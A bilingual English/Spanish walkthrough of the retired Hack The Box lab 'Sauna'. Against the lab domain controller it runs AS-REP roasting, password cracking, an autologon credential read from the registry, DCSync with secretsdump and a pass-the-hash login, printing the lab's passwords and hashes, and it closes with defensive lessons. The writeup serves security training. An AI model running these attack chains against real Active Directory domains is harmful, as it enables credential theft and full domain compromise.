Sauna
Executive summary — Sauna is an Easy Active Directory Windows box: employee profiles published on the website reveal the domain's username convention;
fsmithhas Kerberos pre-authentication disabled, so an AS-REP Roasting attack yields a hash that's crackable offline. Once inside, internal enumeration uncovers autologon credentials stored in the registry (svc_loanmgr), an account that also holds DCSync rights over the domain: with them we dump theAdministratorNTLM hash and log in via pass-the-hash. A Web → AS-REP → WinRM → autologon → DCSync → DA path.
| Platform | Hack The Box |
| Operating system | Windows (AD) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.4.62 |
Attack map
[80] web → employee profiles → username fsmith
▼
[AS-REP] fsmith without Kerberos pre-auth → GetNPUsers → john → Thestrokes23
▼
[WINRM] fsmith (user.txt)
│ internal enumeration → autologon in the registry (svc_loanmgr)
│ svc_loanmgr has DCSync rights
▼
[DCSYNC] secretsdump → Administrator NTLM hash → pass-the-hash → root.txt
1. Recon and environment setup
Since this is an Active Directory box, Kerberos needs to resolve both the hostname and the domain correctly, so we add both to
/etc/hostsbefore touching anything else. HTB's target IP can change between sessions: always check the current one on the platform before starting.
echo "10.129.4.62 sauna.htb egotistical-bank.local" | sudo tee -a /etc/hosts
ping -c 1 sauna.htb
Resumen ejecutivo — Sauna es una Windows Easy de Active Directory: los perfiles de empleados publicados en la web permiten deducir la convención de nombres de usuario del dominio;
fsmithtiene desactivada la preautenticación Kerberos, así que un AS-REP Roasting entrega un hash crackeable offline. Ya dentro, la enumeración interna descubre unas credenciales de autologon guardadas en el registro (svc_loanmgr), una cuenta que además tiene derechos de DCSync sobre el dominio: con ellos se vuelca el hash NTLM deAdministratory se entra por pass-the-hash. Recorrido Web → AS-REP → WinRM → autologon → DCSync → DA.
| Plataforma | Hack The Box |
| Sistema operativo | Windows (AD) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.4.62 |
Mapa del ataque
[80] web → perfiles de empleados → nombre de usuario fsmith
▼
[AS-REP] fsmith sin preautenticación Kerberos → GetNPUsers → john → Thestrokes23
▼
[WINRM] fsmith (user.txt)
│ enumeración interna → autologon en el registro (svc_loanmgr)
│ svc_loanmgr tiene derechos de DCSync
▼
[DCSYNC] secretsdump → hash NTLM de Administrator → pass-the-hash → root.txt
1. Reconocimiento y preparación del entorno
Al tratarse de una máquina de Active Directory, Kerberos necesita resolver correctamente tanto el hostname como el dominio, así que añadimos ambos a
/etc/hostsantes de tocar nada más. La IP de HTB puede cambiar entre sesiones: conviene comprobarla siempre en la plataforma antes de arrancar.
echo "10.129.4.62 sauna.htb egotistical-bank.local" | sudo tee -a /etc/hosts
ping -c 1 sauna.htb
2. Nmap enumeration
We start with a standard service scan and, in parallel, a full port sweep so nothing outside Nmap's top-1000 gets missed.
nmap -Pn -sC -sV 10.129.4.62
nmap -Pn -p- --min-rate=1500 10.129.4.62 -oN sauna_allports.txt
The result is the classic fingerprint of a Domain Controller:
53DNS88Kerberos135RPC139NetBIOS389LDAP445SMB593RPC over HTTP3268Global Catalog LDAP80HTTP (corporate website)
Kerberos + LDAP + Global Catalog together confirm we're facing an Active Directory DC, not a standalone Windows host.
3. Web enumeration and username generation
The website (
http://10.129.4.62) publishes staff profiles. This kind of information —very common on corporate sites and LinkedIn— is gold for an attacker: it reveals the domain's real username convention with no brute-forcing needed.
Among the profiles is Fergus Smith. Applying the first-initial + surname convention gives us the most likely username:
fsmith
We save it as our single candidate to try AS-REP roasting against:
echo fsmith > users.txt
4. AS-REP Roasting with Impacket
AS-REP Roasting: if an account has Kerberos preauthentication disabled, the KDC hands back an AS-REP ticket encrypted with that user's password without requiring any prior credentials. That ticket can be cracked offline.
impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip 10.129.4.62 -no-pass -request
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...
5. Cracking the hash
We save the returned hash to hash.txt and dictionary-attack it with John the Ripper:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
fsmith:Thestrokes23
6. Credential validation and initial access
Before spawning a shell, we validate the username/password pair over SMB:
netexec smb 10.129.4.62 -u fsmith -p 'Thestrokes23'
With WinRM enabled for fsmith, we log straight in via Evil-WinRM:
evil-winrm -i 10.129.4.62 -u fsmith -p 'Thestrokes23'
type C:\Users\fsmith\Desktop\user.txt
7. Internal enumeration — svc_loanmgr credentials
Now inside as
fsmith, system enumeration turns up autologon credentials stored in the registry: when Windows is configured to log in automatically, the username and password are left in cleartext under the Winlogon key, readable by anyone with local access.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName: svc_loanmgr
DefaultPassword: Moneymakestheworldgoround!
We confirm the service account is valid:
netexec smb 10.129.4.62 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
8. DCSync with secretsdump
DCSync abuses Active Directory's replication permissions (Replicating Directory Changes / ...All) so an attacker can impersonate a Domain Controller and ask the real DC to "replicate" the credentials of any domain account —including
Administrator— without ever running code on the DC itself.svc_loanmgrholds those rights.
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.4.62
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
The initial RemoteOperations error is harmless: secretsdump can't mount the classic SMB-based path, but it automatically falls back to the DRSUAPI method (domain replication itself) and still retrieves the Administrator NTLM hash.
9. Pass-the-Hash — Administrator and root
With the NTLM hash in hand there's no need for the cleartext password: NTLM allows authenticating by presenting the hash directly.
evil-winrm -i 10.129.4.62 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt
Domain fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Corporate website | Employee profiles expose the username convention | fsmith username derived without brute-forcing |
| Foothold | Kerberos | AS-REP Roasting (fsmith without pre-auth) | Crackable Kerberos hash → WinRM as fsmith |
| Post-exploitation | Registry (Winlogon) | Cleartext autologon credentials (svc_loanmgr) | Service account compromised |
| PrivEsc | AD (domain replication) | svc_loanmgr with DCSync rights | Administrator hash → Domain Admin |
Lessons learned
- Public information (corporate sites, LinkedIn) feeds AD user lists: review what your company exposes before an attacker does.
- AS-REP Roasting: require Kerberos pre-auth on every account, and use long passwords on service accounts, which rarely get rotated.
- Never configure autologon with privileged or service accounts: the password ends up in cleartext, readable by any local user.
- DCSync equals game over: regularly audit which accounts hold domain replication rights (Replicating Directory Changes); service accounts almost never should.
- A
RemoteOperationserror insecretsdumpisn't necessarily a failure: check whether the tool falls back to the DRSUAPI method before writing off the attack.
2. Escaneo con Nmap
Empezamos con un escaneo de servicios básico y, en paralelo, un barrido completo de puertos para no dejarnos nada fuera del top-1000 de Nmap.
nmap -Pn -sC -sV 10.129.4.62
nmap -Pn -p- --min-rate=1500 10.129.4.62 -oN sauna_allports.txt
El resultado es la huella típica de un Domain Controller:
53DNS88Kerberos135RPC139NetBIOS389LDAP445SMB593RPC over HTTP3268Global Catalog LDAP80HTTP (web corporativa)
La combinación de Kerberos + LDAP + Global Catalog confirma que estamos ante un DC de Active Directory, no un Windows suelto.
3. Enumeración web y generación de usuario
La web (
http://10.129.4.62) publica perfiles del personal de la empresa. Este tipo de información —muy habitual en webs corporativas y en LinkedIn— es oro para un atacante: revela la convención real de nombres de usuario del dominio sin necesidad de fuerza bruta.
Entre los perfiles aparece Fergus Smith. Aplicando la convención inicial + apellido obtenemos el username más probable:
fsmith
Lo guardamos como candidato único para probar AS-REP roasting:
echo fsmith > users.txt
4. AS-REP Roasting con Impacket
AS-REP Roasting: si una cuenta tiene desactivado el flag «Do not require Kerberos preauthentication»... al revés —si la preautenticación está desactivada—, el KDC entrega un ticket AS-REP cifrado con la contraseña del usuario sin necesidad de credenciales previas. Ese ticket es crackeable offline.
impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip 10.129.4.62 -no-pass -request
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...
5. Crackeo del hash
Guardamos el hash devuelto en hash.txt y lo atacamos por diccionario con John the Ripper:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
fsmith:Thestrokes23
6. Validación de credenciales y acceso inicial
Antes de lanzar una shell, validamos el par usuario/contraseña por SMB:
netexec smb 10.129.4.62 -u fsmith -p 'Thestrokes23'
Con WinRM habilitado para fsmith, entramos directamente con Evil-WinRM:
evil-winrm -i 10.129.4.62 -u fsmith -p 'Thestrokes23'
type C:\Users\fsmith\Desktop\user.txt
7. Enumeración interna — credenciales de svc_loanmgr
Ya dentro como
fsmith, la enumeración del sistema revela unas credenciales de autologon guardadas en el registro: cuando Windows se configura para iniciar sesión automáticamente, el usuario y la contraseña quedan en texto claro bajo la clave de Winlogon, legibles por cualquiera con acceso local.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName: svc_loanmgr
DefaultPassword: Moneymakestheworldgoround!
Confirmamos que la cuenta de servicio es válida:
netexec smb 10.129.4.62 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
8. DCSync con secretsdump
DCSync abusa de los permisos de replicación de Active Directory (Replicating Directory Changes / ...All) para que un atacante se haga pasar por un Domain Controller y pida al DC real que le "replique" las credenciales de cualquier cuenta del dominio —incluida
Administrator— sin necesidad de ejecutar código en el propio DC.svc_loanmgrtiene esos derechos.
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.4.62
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
El error inicial de RemoteOperations es inofensivo: secretsdump no puede montar la ruta clásica vía SMB, pero cae automáticamente al método DRSUAPI (la propia replicación de dominio) y consigue igualmente el hash NTLM de Administrator.
9. Pass-the-Hash — Administrator y root
Con el hash NTLM en la mano no hace falta la contraseña en claro: NTLM permite autenticarse presentando directamente el hash.
evil-winrm -i 10.129.4.62 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt
Dominio comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Reconocimiento | Web corporativa | Perfiles de empleados exponen la convención de usuarios | Username fsmith deducido sin fuerza bruta |
| Foothold | Kerberos | AS-REP Roasting (fsmith sin preautenticación) | Hash Kerberos crackeable → WinRM como fsmith |
| Post-explotación | Registro (Winlogon) | Credenciales de autologon en texto claro (svc_loanmgr) | Cuenta de servicio comprometida |
| PrivEsc | AD (replicación de dominio) | svc_loanmgr con derechos de DCSync | Hash de Administrator → Domain Admin |
Lecciones aprendidas
- La información pública (webs corporativas, LinkedIn) alimenta listas de usuarios de AD: revisa qué expone tu empresa antes de que lo haga un atacante.
- AS-REP Roasting: exige preautenticación Kerberos en todas las cuentas y contraseñas largas en las cuentas de servicio, que rara vez rotan.
- No configures autologon con cuentas privilegiadas o de servicio: la contraseña queda en texto claro, legible por cualquier usuario local.
- DCSync = juego terminado: audita periódicamente qué cuentas tienen derechos de replicación (Replicating Directory Changes) sobre el dominio; casi nunca deberían tenerlos cuentas de servicio.
- Un error de
RemoteOperationsensecretsdumpno es necesariamente un fallo: comprueba si la herramienta continúa por el método DRSUAPI antes de descartar el ataque.